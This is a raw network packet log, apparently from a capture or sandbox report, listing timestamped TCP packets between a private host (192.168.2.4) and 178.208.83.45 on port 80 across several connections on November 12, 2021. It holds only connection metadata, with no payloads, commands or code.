Nov 12, 2021 22:23:25.436868906 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436891079 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436908960 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436927080 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436944008 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436959028 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436975002 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436990976 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437011003 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437026978 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437042952 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437060118 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437074900 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437092066 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437108040 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437182903 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437199116 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437216043 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437231064 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437251091 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437267065 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.437283039 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460118055 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460138083 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460145950 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460156918 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460599899 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460613966 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460624933 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460640907 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460659981 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460710049 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460725069 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.460740089 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.463368893 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.463521004 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.875967026 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.877151966 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.898427010 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.898682117 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.899511099 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.899687052 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.901081085 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.901295900 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.901679039 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.902034998 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.923568010 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.924211979 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.924357891 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.924485922 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.925050020 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925097942 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925132990 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925169945 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925194025 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925194025 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.925421000 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.925777912 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925813913 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.925966024 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.926167965 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.926198006 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.926276922 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.926510096 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.946801901 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.946832895 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947043896 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.947523117 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947541952 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947748899 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947767019 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947779894 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947779894 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.947791100 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947875977 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947953939 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947968006 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.947982073 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948014021 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948033094 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948046923 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948067904 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948133945 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948215961 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948448896 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948479891 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948483944 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948491096 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948570013 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948589087 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948632956 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948658943 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948679924 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948786020 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948821068 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.948889017 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.948924065 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.969537973 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.969566107 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.969721079 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.969800949 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.969856977 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.969924927 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.969989061 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.970241070 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970269918 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970294952 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970320940 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970345974 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.970396996 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970408916 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.970423937 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970448971 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970474005 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970583916 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970612049 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970638990 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970666885 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970695019 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970721960 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.970825911 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971278906 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971307039 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971333981 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971359015 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971386909 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971551895 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971579075 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971606016 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971632004 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971656084 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971682072 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971707106 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971885920 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.971908092 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.972075939 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.972096920 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.972249985 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.972269058 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.972300053 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998200893 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998228073 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998241901 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998255014 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998267889 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998281956 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998359919 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998514891 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998817921 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998833895 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998846054 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.998866081 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.001612902 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.001713037 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.704037905 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.705785036 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.726530075 CET	80	49813	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.726699114 CET	49813	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.728226900 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.728343964 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.729182959 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.729413986 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.729672909 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.729911089 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.751518011 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.751607895 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752021074 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752051115 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752074003 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752079010 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752084970 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752104044 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752212048 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752228975 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.752230883 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752250910 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752270937 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.752279997 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.752305031 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.752315044 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.752332926 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774600983 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774630070 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774661064 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774681091 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774691105 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774708986 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774724007 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774825096 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774826050 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774847984 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774866104 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774880886 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774883986 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774908066 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774909019 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774929047 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774928093 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774950027 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774970055 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.774979115 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.774991035 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.775018930 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.775068045 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.775075912 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.775096893 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.775115967 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797336102 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797368050 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797385931 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797403097 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797419071 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797454119 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797471046 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797488928 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797508001 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797657967 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797677994 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797688961 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797729015 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797748089 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797766924 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797785997 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797804117 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797822952 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797841072 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797889948 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797908068 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797926903 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797969103 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.797986984 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798005104 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798023939 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798085928 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798130035 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798155069 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798173904 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798192024 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798211098 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.798228025 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.802746058 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.802911997 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.803071022 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.803168058 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:26.825360060 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825637102 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825654984 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825676918 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825689077 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825704098 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825721025 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825736046 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825854063 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825891018 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825930119 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.825992107 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.828059912 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:26.828370094 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.691622972 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.712290049 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.714108944 CET	80	49814	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.714215040 CET	49814	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.734750032 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.734935045 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.735651970 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.735729933 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.735912085 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.736035109 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.757961035 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.757997990 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758260965 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758275986 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758285999 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758296967 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758307934 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758320093 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758331060 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758342028 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758352995 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758363008 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.758775949 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781315088 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781347036 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781363010 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781379938 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781395912 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781410933 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781426907 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781443119 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781457901 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781472921 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781487942 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781505108 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781522036 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781537056 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781544924 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781552076 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781568050 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781585932 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781605959 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781615973 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781621933 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.781647921 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781672955 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781697035 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.781708956 CET	49815	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:27.803966045 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.803997993 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804014921 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804029942 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804044962 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804059029 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804074049 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804112911 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804130077 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804145098 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804160118 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804176092 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804191113 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804204941 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804219961 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804266930 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804282904 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804297924 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804312944 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804327011 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804343939 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804374933 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804390907 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804425001 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804442883 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804459095 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804474115 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804502010 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804517984 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804534912 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804549932 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804625034 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:27.804642916 CET	80	49815	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:28.260288000 CET	49815	80	192.168.2.4	178.208.83.45
